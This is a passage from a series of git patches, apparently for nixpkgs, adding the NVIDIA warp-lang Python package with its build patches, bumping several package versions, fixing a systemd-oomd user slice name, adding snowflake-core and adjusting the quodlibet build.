a/pkgs/by-name/x2/x2t/web-apps-avoid-phantomjs.patch b/pkgs/by-name/x2/x2t/web-apps-avoid-phantomjs.patch new file mode 100644 index 000000000000..dd2a4b07eca5 --- /dev/null +++ b/pkgs/by-name/x2/x2t/web-apps-avoid-phantomjs.patch @@ -0,0 +1,12 @@ +diff --git a/build/package.json b/build/package.json +index 96b35b328a..f8ec8397b4 100644 +--- a/package.json ++++ b/package.json +@@ -45,7 +45,6 @@ + }, + "devDependencies": { + "chai": "^5.1.0", +- "grunt-mocha": "^1.2.0", + "mocha": "^10.2.0" + } + } From fd636882374cdce4c1e042b088b4eeaa18bbdb69 Mon Sep 17 00:00:00 2001 From: Zexin Yuan Date: Sun, 13 Apr 2025 22:49:45 +0800 Subject: [PATCH 069/390] python3Packages.warp-lang: init at 1.7.2.post1 --- .../warp-lang/darwin-libcxx.patch | 39 +++ .../warp-lang/darwin-single-target.patch | 50 ++++ .../python-modules/warp-lang/default.nix | 251 ++++++++++++++++++ .../warp-lang/standalone-cxx11-abi.patch | 25 ++ .../warp-lang/standalone-llvm.patch | 62 +++++ pkgs/top-level/python-packages.nix | 2 + 6 files changed, 429 insertions(+) create mode 100644 pkgs/development/python-modules/warp-lang/darwin-libcxx.patch create mode 100644 pkgs/development/python-modules/warp-lang/darwin-single-target.patch create mode 100644 pkgs/development/python-modules/warp-lang/default.nix create mode 100644 pkgs/development/python-modules/warp-lang/standalone-cxx11-abi.patch create mode 100644 pkgs/development/python-modules/warp-lang/standalone-llvm.patch diff --git a/pkgs/development/python-modules/warp-lang/darwin-libcxx.patch b/pkgs/development/python-modules/warp-lang/darwin-libcxx.patch new file mode 100644 index 000000000000..52fd5eb06b4f --- /dev/null +++ b/pkgs/development/python-modules/warp-lang/darwin-libcxx.patch @@ -0,0 +1,39 @@ +diff --git a/warp/build_dll.py b/warp/build_dll.py +index 4d411e1b..a9304c6a 100644 +--- a/warp/build_dll.py ++++ b/warp/build_dll.py +@@ -316,6 +316,8 @@ def build_dll_for_arch(args, dll_path, cpp_paths, cu_path, libs, arch, mode=None + cuda_includes = f' -I"{cuda_home}/include"' if cu_path else "" + includes = cpp_includes + cuda_includes + ++ includes += " -isystem @LIBCXX_DEV@/include/c++/v1" ++ + if sys.platform == "darwin": + version = f"--target={arch}-apple-macos11" + else: +@@ -345,6 +347,8 @@ def build_dll_for_arch(args, dll_path, cpp_paths, cu_path, libs, arch, mode=None + build_cmd = f'g++ {cpp_flags} -c "{cpp_path}" -o "{cpp_out}"' + run_cmd(build_cmd) + ++ ld_inputs.append('-L"@LIBCXX_LIB@/lib" -lc++') ++ + if cu_path: + cu_out = cu_path + ".o" + +diff --git a/warp/native/crt.h b/warp/native/crt.h +index 47ef9983..89ae289b 100644 +--- a/warp/native/crt.h ++++ b/warp/native/crt.h +@@ -65,6 +65,12 @@ extern "C" WP_API int _wp_isinf(double); + #include + #include + ++#undef isfinite ++#undef isinf ++#undef isnan ++ ++#include ++ + #else + + // These definitions are taken from Jitify: https://github.com/NVIDIA/jitify diff --git a/pkgs/development/python-modules/warp-lang/darwin-single-target.patch b/pkgs/development/python-modules/warp-lang/darwin-single-target.patch new file mode 100644 index 000000000000..08b5b8f0594c --- /dev/null +++ b/pkgs/development/python-modules/warp-lang/darwin-single-target.patch @@ -0,0 +1,50 @@ +diff --git a/build_llvm.py b/build_llvm.py +index 9d5a26a7..0be02a89 100644 +--- a/build_llvm.py ++++ b/build_llvm.py +@@ -389,15 +389,4 @@ def build_warp_clang_for_arch(args, lib_name, arch): + + + def build_warp_clang(args, lib_name): +- if sys.platform == "darwin": +- # create a universal binary by combining x86-64 and AArch64 builds +- build_warp_clang_for_arch(args, lib_name + "-x86_64", "x86_64") +- build_warp_clang_for_arch(args, lib_name + "-aarch64", "aarch64") +- +- dylib_path = os.path.join(build_path, f"bin/{lib_name}") +- run_cmd(f"lipo -create -output {dylib_path} {dylib_path}-x86_64 {dylib_path}-aarch64") +- os.remove(f"{dylib_path}-x86_64") +- os.remove(f"{dylib_path}-aarch64") +- +- else: +- build_warp_clang_for_arch(args, lib_name, machine_architecture()) ++ build_warp_clang_for_arch(args, lib_name, machine_architecture()) +diff --git a/warp/build_dll.py b/warp/build_dll.py +index 4d411e1b..4cf4a6c2 100644 +--- a/warp/build_dll.py ++++ b/warp/build_dll.py +@@ -317,7 +317,7 @@ def build_dll_for_arch(args, dll_path, cpp_paths, cu_path, libs, arch, mode=None + includes = cpp_includes + cuda_includes + + if sys.platform == "darwin": +- version = f"--target={arch}-apple-macos11" ++ version = "" + else: + version = "-fabi-version=13" # GCC 8.2+ + +@@ -392,14 +392,4 @@ def build_dll(args, dll_path, cpp_paths, cu_path, libs=None): + if libs is None: + libs = [] + +- if sys.platform == "darwin": +- # create a universal binary by combining x86-64 and AArch64 builds +- build_dll_for_arch(args, dll_path + "-x86_64", cpp_paths, cu_path, libs, "x86_64") +- build_dll_for_arch(args, dll_path + "-aarch64", cpp_paths, cu_path, libs, "aarch64") +- +- run_cmd(f"lipo -create -output {dll_path} {dll_path}-x86_64 {dll_path}-aarch64") +- os.remove(f"{dll_path}-x86_64") +- os.remove(f"{dll_path}-aarch64") +- +- else: +- build_dll_for_arch(args, dll_path, cpp_paths, cu_path, libs, machine_architecture()) ++ build_dll_for_arch(args, dll_path, cpp_paths, cu_path, libs, machine_architecture()) diff --git a/pkgs/development/python-modules/warp-lang/default.nix b/pkgs/development/python-modules/warp-lang/default.nix new file mode 100644 index 000000000000..6cc8c8aaaa0c --- /dev/null +++ b/pkgs/development/python-modules/warp-lang/default.nix @@ -0,0 +1,251 @@ +{ + config, + lib, + stdenv, + buildPythonPackage, + fetchurl, + fetchFromGitHub, + replaceVars, + build, + setuptools, + numpy, + llvmPackages, + cudaPackages, + unittestCheckHook, + jax, + torch, + nix-update-script, + + # Use standalone LLVM-based JIT compiler and CPU device support + standaloneSupport ? true, + + # Use CUDA toolchain and GPU device support + cudaSupport ? config.cudaSupport, + + # Build Warp with MathDx support (requires CUDA support) + # Most linear-algebra tile operations like tile_cholesky(), tile_fft(), + # and tile_matmul() require Warp to be built with the MathDx library. + libmathdxSupport ? cudaSupport && stdenv.hostPlatform.isLinux, +}: + +let + version = "1.7.2.post1"; + + libmathdx = stdenv.mkDerivation (finalAttrs: { + pname = "libmathdx"; + version = "0.2.0"; + + src = + let + inherit (stdenv.hostPlatform) system; + selectSystem = attrs: attrs.${system} or (throw "Unsupported system: ${system}"); + + suffix = selectSystem { + x86_64-linux = "Linux-x86_64"; + aarch64-linux = "Linux-aarch64"; + x86_64-windows = "win32-x86_64"; + }; + + # nix-hash --type sha256 --to-sri $(nix-prefetch-url "https://...") + hash = selectSystem { + x86_64-linux = "sha256-Lk+PxWFvyQGRClFdmyuo4y7HBdR7pigOhMyEzajqbmg="; + aarch64-linux = "sha256-6tH9YH98kSvDiut9rQEU5potEpeKqma/QtrCHLxwRLo="; + x86_64-windows = "sha256-B8qwj7UzOXEDZh2oT3ip1qW0uqtygMsyfcbhh5Dgc8U="; + }; + in + fetchurl { + url = "https://developer.nvidia.com/downloads/compute/cublasdx/redist/cublasdx/libmathdx-${suffix}-${finalAttrs.version}.tar.gz"; + inherit hash; + }; + + unpackPhase = '' + runHook preUnpack + + mkdir unpacked + cd unpacked + tar -xzf $src + export sourceRoot=$(pwd) + + runHook postUnpack + ''; + + dontConfigure = true; + dontBuild = true; + + installPhase = '' + runHook preInstall + + cp -rT "$sourceRoot" "$out" + + runHook postInstall + ''; + + meta = { + description = "library used to integrate cuBLASDx and cuFFTDx into Warp"; + sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ]; + license = with lib.licenses; [ + # By downloading and using the software, you agree to fully + # comply with the terms and conditions of the NVIDIA Software + # License Agreement. + ( + nvidiaCudaRedist + // { + url = "https://developer.download.nvidia.cn/compute/mathdx/License.txt"; + } + ) + + # Some of the libmathdx routines were written by or derived + # from code written by Meta Platforms, Inc. and affiliates and + # are subject to the BSD License. + bsd + ]; + platforms = with lib.platforms; linux ++ [ "x86_64-windows" ]; + maintainers = with lib.maintainers; [ yzx9 ]; + }; + }); +in +buildPythonPackage { + pname = "warp-lang"; + inherit version; + pyproject = true; + + src = fetchFromGitHub { + owner = "NVIDIA"; + repo = "warp"; + tag = "v${version}"; + hash = "sha256-cT0CrD71nNZnQMimGrmnSQl6RQx4MiUv2xBFPWNI/0s="; + }; + + patches = + lib.optionals stdenv.hostPlatform.isDarwin [ + (replaceVars ./darwin-libcxx.patch { + LIBCXX_DEV = llvmPackages.libcxx.dev; + LIBCXX_LIB = llvmPackages.libcxx; + }) + ./darwin-single-target.patch + ] + ++ lib.optionals standaloneSupport [ + (replaceVars ./standalone-llvm.patch { + LLVM_DEV = llvmPackages.llvm.dev; + LLVM_LIB = llvmPackages.llvm.lib; + LIBCLANG_DEV = llvmPackages.libclang.dev; + LIBCLANG_LIB = llvmPackages.libclang.lib; + }) + ./standalone-cxx11-abi.patch + ]; + + postPatch = + lib.optionalString (!stdenv.cc.isGNU) '' + substituteInPlace warp/build_dll.py \ + --replace-fail "g++" "${lib.getExe stdenv.cc}" + '' + # Broken tests on aarch64. Since unittest doesn't support disabling a + # single test, and pytest isn't compatible, we patch the test file directly + # instead. + # + # See: https://github.com/NVIDIA/warp/issues/552 + + lib.optionalString stdenv.hostPlatform.isAarch64 '' + substituteInPlace warp/tests/test_fem.py \ + --replace-fail "add_function_test(TestFem, \"test_integrate_gradient\", test_integrate_gradient, devices=devices)" "" + ''; + + build-system = [ + build + setuptools + ]; + + dependencies = [ + numpy + ]; + + nativeBuildInputs = lib.optionals libmathdxSupport [ + libmathdx + cudaPackages.libcublas + cudaPackages.libcufft + cudaPackages.libnvjitlink + ]; + + buildInputs = + lib.optionals standaloneSupport [ + llvmPackages.llvm + llvmPackages.clang + llvmPackages.libcxx + ] + ++ lib.optionals cudaSupport [ + cudaPackages.cudatoolkit + cudaPackages.cuda_cudart + cudaPackages.cuda_nvcc + cudaPackages.cuda_nvrtc + ]; + + preBuild = + let + buildOptions = + lib.optionals (!standaloneSupport) [ + "--no_standalone" + ] + ++ lib.optionals cudaSupport [ + "--cuda_path=${cudaPackages.cudatoolkit}" + ] + ++ lib.optionals libmathdxSupport [ + "--libmathdx" + "--libmathdx_path=${libmathdx}" + ] + ++ lib.optionals (!libmathdxSupport) [ + "--no_libmathdx" + ]; + + buildOptionString = lib.concatStringsSep " " buildOptions; + in + '' + python build_lib.py ${buildOptionString} + ''; + + pythonImportsCheck = [ + "warp" + ]; + + # Many unit tests fail with segfaults on aarch64-linux, especially in the sim + # and grad modules. However, other functionality generally works, so we don't + # mark the package as broken. + # + # See: https://www.github.com/NVIDIA/warp/issues/{356,372,552} + doCheck = !(stdenv.hostPlatform.isAarch64 && stdenv.hostPlatform.isLinux); + + nativeCheckInputs = [ + unittestCheckHook + (jax.override { inherit cudaSupport; }) + (torch.override { inherit cudaSupport; }) + + # # Disable paddlepaddle interop tests: malloc(): unaligned tcache chunk detected + # (paddlepaddle.override { inherit cudaSupport; }) + ]; + + preCheck = '' + export WARP_CACHE_PATH=$(mktemp -d) # warp.config.kernel_cache_dir + ''; + + passthru.updateScript = nix-update-script { }; + + meta = { + description = "Python framework for high performance GPU simulation and graphics"; + longDescription = '' + Warp is a Python framework for writing high-performance simulation + and graphics code. Warp takes regular Python functions and JIT + compiles them to efficient kernel code that can run on the CPU or + GPU. + + Warp is designed for spatial computing and comes with a rich set + of primitives that make it easy to write programs for physics + simulation, perception, robotics, and geometry processing. In + addition, Warp kernels are differentiable and can be used as part + of machine-learning pipelines with frameworks such as PyTorch, + JAX and Paddle. + ''; + homepage = "https://github.com/NVIDIA/warp"; + changelog = "https://github.com/NVIDIA/warp/blob/v${version}/CHANGELOG.md"; + license = lib.licenses.asl20; + platforms = with lib.platforms; linux ++ darwin; + maintainers = with lib.maintainers; [ yzx9 ]; + }; +} diff --git a/pkgs/development/python-modules/warp-lang/standalone-cxx11-abi.patch b/pkgs/development/python-modules/warp-lang/standalone-cxx11-abi.patch new file mode 100644 index 000000000000..12a23658f900 --- /dev/null +++ b/pkgs/development/python-modules/warp-lang/standalone-cxx11-abi.patch @@ -0,0 +1,25 @@ +diff --git a/build_llvm.py b/build_llvm.py +index 9d5a26a7..839909ad 100644 +--- a/build_llvm.py ++++ b/build_llvm.py +@@ -161,7 +161,6 @@ def build_from_source_for_arch(args, arch, llvm_source): + "-D", "LLVM_INCLUDE_TESTS=FALSE", + "-D", "LLVM_INCLUDE_TOOLS=TRUE", # Needed by Clang + "-D", "LLVM_INCLUDE_UTILS=FALSE", +- "-D", f"CMAKE_CXX_FLAGS=-D_GLIBCXX_USE_CXX11_ABI=0 {abi_version}", # The pre-C++11 ABI is still the default on the CentOS 7 toolchain + "-D", f"CMAKE_INSTALL_PREFIX={install_path}", + "-D", f"LLVM_HOST_TRIPLE={host_triple}", + "-D", f"CMAKE_OSX_ARCHITECTURES={osx_architectures}", +diff --git a/warp/build_dll.py b/warp/build_dll.py +index 4d411e1b..4177725b 100644 +--- a/warp/build_dll.py ++++ b/warp/build_dll.py +@@ -321,7 +321,7 @@ def build_dll_for_arch(args, dll_path, cpp_paths, cu_path, libs, arch, mode=None + else: + version = "-fabi-version=13" # GCC 8.2+ + +- cpp_flags = f'{version} --std=c++17 -fno-rtti -D{cuda_enabled} -D{mathdx_enabled} -D{cuda_compat_enabled} -fPIC -fvisibility=hidden -D_GLIBCXX_USE_CXX11_ABI=0 -I"{native_dir}" {includes} ' ++ cpp_flags = f'{version} --std=c++17 -fno-rtti -D{cuda_enabled} -D{mathdx_enabled} -D{cuda_compat_enabled} -fPIC -fvisibility=hidden -I"{native_dir}" {includes} ' + + if mode == "debug": + cpp_flags += "-O0 -g -D_DEBUG -DWP_ENABLE_DEBUG=1 -fkeep-inline-functions" diff --git a/pkgs/development/python-modules/warp-lang/standalone-llvm.patch b/pkgs/development/python-modules/warp-lang/standalone-llvm.patch new file mode 100644 index 000000000000..2e90a0ebf188 --- /dev/null +++ b/pkgs/development/python-modules/warp-lang/standalone-llvm.patch @@ -0,0 +1,62 @@ +diff --git a/build_llvm.py b/build_llvm.py +index 9d5a26a7..3663e9c9 100644 +--- a/build_llvm.py ++++ b/build_llvm.py +@@ -338,25 +338,19 @@ def build_warp_clang_for_arch(args, lib_name, arch): + + clang_dll_path = os.path.join(build_path, f"bin/{lib_name}") + +- if args.build_llvm: +- # obtain Clang and LLVM libraries from the local build +- install_path = os.path.join(llvm_install_path, f"{args.mode}-{arch}") +- libpath = os.path.join(install_path, "lib") +- else: +- # obtain Clang and LLVM libraries from packman +- fetch_prebuilt_libraries(arch) +- libpath = os.path.join(base_path, f"_build/host-deps/llvm-project/release-{arch}/lib") +- ++ # obtain Clang and LLVM libraries from the local build + libs = [] +- +- for _, _, libraries in os.walk(libpath): +- libs.extend(libraries) +- break # just the top level contains library files ++ install_paths = ["@LLVM_LIB@", "@LIBCLANG_LIB@"] ++ libpaths = [os.path.join(install_path, "lib") for install_path in install_paths] ++ for libpath in libpaths: ++ for _, _, libraries in os.walk(libpath): ++ libs.extend(libraries) ++ break # just the top level contains library files + + if os.name == "nt": + libs.append("Version.lib") + libs.append("Ws2_32.lib") +- libs.append(f'/LIBPATH:"{libpath}"') ++ libs.extend(f'/LIBPATH:"{libpath}"' for libpath in libpaths) + else: + libs = [f"-l{lib[3:-2]}" for lib in libs if os.path.splitext(lib)[1] == ".a"] + if sys.platform == "darwin": +@@ -364,7 +358,8 @@ def build_warp_clang_for_arch(args, lib_name, arch): + else: + libs.insert(0, "-Wl,--start-group") + libs.append("-Wl,--end-group") +- libs.append(f"-L{libpath}") ++ libs.extend(f"-L{libpath}" for libpath in libpaths) ++ libs.append("-lz") + libs.append("-lpthread") + libs.append("-ldl") + if sys.platform != "darwin": +diff --git a/warp/build_dll.py b/warp/build_dll.py +index 4d411e1b..95fb7eaf 100644 +--- a/warp/build_dll.py ++++ b/warp/build_dll.py +@@ -311,8 +311,8 @@ def build_dll_for_arch(args, dll_path, cpp_paths, cu_path, libs, arch, mode=None + run_cmd(link_cmd) + + else: +- cpp_includes = f' -I"{warp_home_path.parent}/external/llvm-project/out/install/{mode}-{arch}/include"' +- cpp_includes += f' -I"{warp_home_path.parent}/_build/host-deps/llvm-project/release-{arch}/include"' ++ cpp_includes = ' -I"@LLVM_DEV@/include"' ++ cpp_includes += ' -I"@LIBCLANG_DEV@/include"' + cuda_includes = f' -I"{cuda_home}/include"' if cu_path else "" + includes = cpp_includes + cuda_includes diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix index e5c695d03d59..6b8f933a6aaa 100644 --- a/pkgs/top-level/python-packages.nix +++ b/pkgs/top-level/python-packages.nix @@ -19133,6 +19133,8 @@ self: super: with self; { warlock = callPackage ../development/python-modules/warlock { }; + warp-lang = callPackage ../development/python-modules/warp-lang { }; + warrant = callPackage ../development/python-modules/warrant { }; warrant-lite = callPackage ../development/python-modules/warrant-lite { }; From 4e0490deaaf6e82dccca3c393cc7c0d50caf4c86 Mon Sep 17 00:00:00 2001 From: Ashish SHUKLA Date: Thu, 19 Jun 2025 11:04:34 +0000 Subject: [PATCH 070/390] ugrep: 7.4.3 -> 7.5.0 Changes: https://github.com/Genivia/ugrep/releases/tag/v7.5.0 --- pkgs/by-name/ug/ugrep/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/ug/ugrep/package.nix b/pkgs/by-name/ug/ugrep/package.nix index 9d1f907f1039..5765e0898b09 100644 --- a/pkgs/by-name/ug/ugrep/package.nix +++ b/pkgs/by-name/ug/ugrep/package.nix @@ -17,13 +17,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "ugrep"; - version = "7.4.3"; + version = "7.5.0"; src = fetchFromGitHub { owner = "Genivia"; repo = "ugrep"; rev = "v${finalAttrs.version}"; - hash = "sha256-7F0yrU7OW3qVglQonQLWH66lPw0CwgDWt/Y/+zrnWLM="; + hash = "sha256-y++cW+N6KPm+/g4pqvPeTfiuR6IRiSMONJ0tJ4+5ym0="; }; nativeBuildInputs = [ makeWrapper ]; From 66d5d2f2d2134f79549963bd3ba10b53451ceedf Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Thu, 19 Jun 2025 16:10:01 +0000 Subject: [PATCH 071/390] netron: 8.3.8 -> 8.3.9 --- pkgs/by-name/ne/netron/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/ne/netron/package.nix b/pkgs/by-name/ne/netron/package.nix index 94fe6c1306d7..319e29038ed9 100644 --- a/pkgs/by-name/ne/netron/package.nix +++ b/pkgs/by-name/ne/netron/package.nix @@ -16,16 +16,16 @@ let in buildNpmPackage (finalAttrs: { pname = "netron"; - version = "8.3.8"; + version = "8.3.9"; src = fetchFromGitHub { owner = "lutzroeder"; repo = "netron"; tag = "v${finalAttrs.version}"; - hash = "sha256-BHV51d5X8uXnqjCkpVnZX40dAuF2HCNk/6A5cKr9nZE="; + hash = "sha256-4AnbhdZVkPhpzNxmjhRNcUTiWrxXNWqVrUxR8pO+ULo="; }; - npmDepsHash = "sha256-E4jqaDJqgvOvV+67jtMzt/4YkhQ4GmKati0wuVMC8yI="; + npmDepsHash = "sha256-71O2cMr44tLv4m/iM/pOE126k1Z2DTRDKI7o7aWUePg="; nativeBuildInputs = [ jq ]; From d40a78e1297e3e4859ddce137ba7dff0f66522c3 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Thu, 19 Jun 2025 17:00:57 +0000 Subject: [PATCH 072/390] ledfx: 2.0.108 -> 2.0.109 --- pkgs/by-name/le/ledfx/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/le/ledfx/package.nix b/pkgs/by-name/le/ledfx/package.nix index eec01ffeaa81..dd7717cbf6b0 100644 --- a/pkgs/by-name/le/ledfx/package.nix +++ b/pkgs/by-name/le/ledfx/package.nix @@ -6,12 +6,12 @@ python3.pkgs.buildPythonApplication rec { pname = "ledfx"; - version = "2.0.108"; + version = "2.0.109"; pyproject = true; src = fetchPypi { inherit pname version; - hash = "sha256-wfp6u2YIliufjkaLBlLVFw2/dqpHYFAfcow4iyOB2ME="; + hash = "sha256-fSb3NBl1bYCfwDkWI7/KeFIVcXTPDKBbLe0sQhneX6A="; }; pythonRelaxDeps = true; From f6f3549df6dc19f7b2e4587960e53f95f40d3d6a Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Thu, 19 Jun 2025 17:50:14 +0000 Subject: [PATCH 073/390] python3Packages.wadler-lindig: 0.1.6 -> 0.1.7 --- pkgs/development/python-modules/wadler-lindig/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/wadler-lindig/default.nix b/pkgs/development/python-modules/wadler-lindig/default.nix index ebf484a15d4d..1b14de3ce55c 100644 --- a/pkgs/development/python-modules/wadler-lindig/default.nix +++ b/pkgs/development/python-modules/wadler-lindig/default.nix @@ -13,14 +13,14 @@ buildPythonPackage rec { pname = "wadler-lindig"; - version = "0.1.6"; + version = "0.1.7"; pyproject = true; src = fetchFromGitHub { owner = "patrick-kidger"; repo = "wadler_lindig"; tag = "v${version}"; - hash = "sha256-EO47eYZk3Hr4328liDmRfCbwi5NDJ4V9NUzk3bpY9IM="; + hash = "sha256-qP826zdzR5BEQ8bGd45RFSLTH6Eal+b7UN+BW07/glo="; }; build-system = [ From c28b3143da407c0208a8b57b60b0d236c3196790 Mon Sep 17 00:00:00 2001 From: r-vdp Date: Fri, 20 Jun 2025 18:35:42 +0200 Subject: [PATCH 074/390] nixos/systemd-oomd: use the correct name for the top-level user slice `user-.slice` does not seem to exist, and the config we generate for it is rejected by systemd (see `systemctl status user-.slice`). I suppose that what was really intended here, was to configure `user.slice`, which is the one that is documented in `man systemd.special`. Reported-by: Ian Sollars --- nixos/modules/system/boot/systemd/oomd.nix | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nixos/modules/system/boot/systemd/oomd.nix b/nixos/modules/system/boot/systemd/oomd.nix index bf162288c142..d7df8903367b 100644 --- a/nixos/modules/system/boot/systemd/oomd.nix +++ b/nixos/modules/system/boot/systemd/oomd.nix @@ -68,7 +68,7 @@ in ManagedOOMMemoryPressure = "kill"; ManagedOOMMemoryPressureLimit = lib.mkDefault "80%"; }; - systemd.slices."user-".sliceConfig = lib.mkIf cfg.enableUserSlices { + systemd.slices."user".sliceConfig = lib.mkIf cfg.enableUserSlices { ManagedOOMMemoryPressure = "kill"; ManagedOOMMemoryPressureLimit = lib.mkDefault "80%"; }; From 9435c037d3393eedbf405e3da69ce80d34a9846d Mon Sep 17 00:00:00 2001 From: Vladimir Timofeenko Date: Wed, 18 Jun 2025 10:17:28 -0700 Subject: [PATCH 075/390] python3Packages.snowflake-core: init at 1.4.0 --- .../python-modules/snowflake-core/default.nix | 56 +++++++++++++++++++ pkgs/top-level/python-packages.nix | 2 + 2 files changed, 58 insertions(+) create mode 100644 pkgs/development/python-modules/snowflake-core/default.nix diff --git a/pkgs/development/python-modules/snowflake-core/default.nix b/pkgs/development/python-modules/snowflake-core/default.nix new file mode 100644 index 000000000000..3c3349a2e082 --- /dev/null +++ b/pkgs/development/python-modules/snowflake-core/default.nix @@ -0,0 +1,56 @@ +{ + lib, + buildPythonPackage, + pydantic, + python-dateutil, + requests, + snowflake-connector-python, + pyyaml, + urllib3, + fetchPypi, + pythonOlder, + hatchling, +}: + +buildPythonPackage rec { + pname = "snowflake-core"; + version = "1.4.0"; + pyproject = true; + + disabled = pythonOlder "3.9"; + + src = fetchPypi { + pname = "snowflake_core"; + inherit version; + hash = "sha256-3BzO3s5BtS/cuF+JwKuAG8Usca5oo79ffp33TXUP5E8="; + }; + + build-system = [ hatchling ]; + + dependencies = [ + pydantic + python-dateutil + pyyaml + requests + snowflake-connector-python + urllib3 + ]; + + pythonRelaxDeps = [ + "pyopenssl" + ]; + + # Tests require access to Snowflake + doCheck = false; + + pythonImportsCheck = [ + "snowflake.core" + ]; + + meta = { + description = "Subpackage providing Python access to Snowflake entity metadata."; + homepage = "https://pypi.org/project/snowflake.core"; + license = lib.licenses.asl20; + maintainers = [ lib.maintainers.vtimofeenko ]; + }; +} diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix index 95f3fe42791a..a7ffe8d92a1e 100644 --- a/pkgs/top-level/python-packages.nix +++ b/pkgs/top-level/python-packages.nix @@ -16436,6 +16436,8 @@ self: super: with self; { callPackage ../development/python-modules/snowflake-connector-python { }; + snowflake-core = callPackage ../development/python-modules/snowflake-core { }; + snowflake-sqlalchemy = callPackage ../development/python-modules/snowflake-sqlalchemy { }; snowplow-tracker = callPackage ../development/python-modules/snowplow-tracker { }; From a3ab14e5687c2b82ab360f086a626d27c42236bd Mon Sep 17 00:00:00 2001 From: Vladimir Timofeenko Date: Wed, 18 Jun 2025 10:18:50 -0700 Subject: [PATCH 076/390] snowflake-cli: 3.7.2 -> 3.9.1 --- pkgs/by-name/sn/snowflake-cli/package.nix | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/sn/snowflake-cli/package.nix b/pkgs/by-name/sn/snowflake-cli/package.nix index 694a094c50cd..4a71fb017012 100644 --- a/pkgs/by-name/sn/snowflake-cli/package.nix +++ b/pkgs/by-name/sn/snowflake-cli/package.nix @@ -8,14 +8,14 @@ python3Packages.buildPythonApplication rec { pname = "snowflake-cli"; - version = "3.7.2"; + version = "3.9.1"; pyproject = true; src = fetchFromGitHub { owner = "snowflakedb"; repo = "snowflake-cli"; tag = "v${version}"; - hash = "sha256-MCJl6Mkkkp9JkG+8ZNfWAYQFMJccdtKfPdcnfaY8Y3w="; + hash = "sha256-2g3EiJ4mgqbyfF9brCvIWJGblWUtaBAO8qor2AeN8mU="; }; build-system = with python3Packages; [ @@ -39,6 +39,8 @@ python3Packages.buildPythonApplication rec { urllib3 gitpython pydantic + prompt-toolkit + snowflake-core snowflake-connector-python ]; @@ -72,6 +74,12 @@ python3Packages.buildPythonApplication rec { "test_executing_command_sends_telemetry_usage_data" # Fails on mocked version "test_internal_application_data_is_sent_if_feature_flag_is_set" "test_if_bundling_dependencies_resolves_requirements" # impure? + "test_silent_output_help" # Snapshot needs update? Diff between received and snapshot is the word 'TABLE' moving down a line + "test_new_connection_can_be_added_as_default" # Snapshot needs update? Diff between received and snapshot is an empty line + ]; + + disabledTestPaths = [ + "tests/app/test_version_check.py" ]; pythonRelaxDeps = true; From a19d7c04cbe58071178b5a65ea88b7ad3b7154d0 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Sat, 21 Jun 2025 04:01:54 +0000 Subject: [PATCH 077/390] python3Packages.metaflow: 2.15.16 -> 2.15.18 --- pkgs/development/python-modules/metaflow/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/metaflow/default.nix b/pkgs/development/python-modules/metaflow/default.nix index 0475256e5b92..69971befefa4 100644 --- a/pkgs/development/python-modules/metaflow/default.nix +++ b/pkgs/development/python-modules/metaflow/default.nix @@ -10,14 +10,14 @@ buildPythonPackage rec { pname = "metaflow"; - version = "2.15.16"; + version = "2.15.18"; pyproject = true; src = fetchFromGitHub { owner = "Netflix"; repo = "metaflow"; tag = version; - hash = "sha256-w95zyPKCfSCIW+32w6mko+Dsxqa56D8yc1Pws1db98s="; + hash = "sha256-Yg5DoFPn5uInLf8roHhIKXvK+/K6TWATdG8uK8XOUyg="; }; build-system = [ From b2fb85da5411e518221ca04bc993a93f821daf88 Mon Sep 17 00:00:00 2001 From: Amadej Kastelic Date: Sat, 21 Jun 2025 09:20:19 +0200 Subject: [PATCH 078/390] quodlibet: fix python3.13 build --- pkgs/applications/audio/quodlibet/default.nix | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/pkgs/applications/audio/quodlibet/default.nix b/pkgs/applications/audio/quodlibet/default.nix index ee2b4f8a842b..4d524b255fa4 100644 --- a/pkgs/applications/audio/quodlibet/default.nix +++ b/pkgs/applications/audio/quodlibet/default.nix @@ -118,7 +118,8 @@ python3.pkgs.buildPythonApplication { ++ lib.optionals withMusicBrainzNgs [ musicbrainzngs ] ++ lib.optionals withPahoMqtt [ paho-mqtt ] ++ lib.optionals withPypresence [ pypresence ] - ++ lib.optionals withSoco [ soco ]; + ++ lib.optionals withSoco [ soco ] + ++ lib.optionals (pythonAtLeast "3.13") [ standard-telnetlib ]; nativeCheckInputs = [ From 06d80984c41e868df755322e0e484be0234c300d Mon Sep 17 00:00:00 2001 From: Amadej Kastelic Date: Sat, 21 Jun 2025 09:20:55 +0200 Subject: [PATCH 079/390] quodlibet: remove usage of with lib --- pkgs/applications/audio/quodlibet/default.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/applications/audio/quodlibet/default.nix b/pkgs/applications/audio/quodlibet/default.nix index 4d524b255fa4..a70360d0d324 100644 --- a/pkgs/applications/audio/quodlibet/default.nix +++ b/pkgs/applications/audio/quodlibet/default.nix @@ -171,7 +171,7 @@ python3.pkgs.buildPythonApplication { gappsWrapperArgs+=(--prefix PATH : ${kakasi}/bin) ''; - meta = with lib; { + meta = { description = "GTK-based audio player written in Python, using the Mutagen tagging library"; longDescription = '' Quod Libet is a GTK-based audio player written in Python, using @@ -187,8 +187,8 @@ python3.pkgs.buildPythonApplication { & internet radio, and all major audio formats. ''; homepage = "https://quodlibet.readthedocs.io/en/latest"; - license = licenses.gpl2Plus; - maintainers = with maintainers; [ + license = lib.licenses.gpl2Plus; + 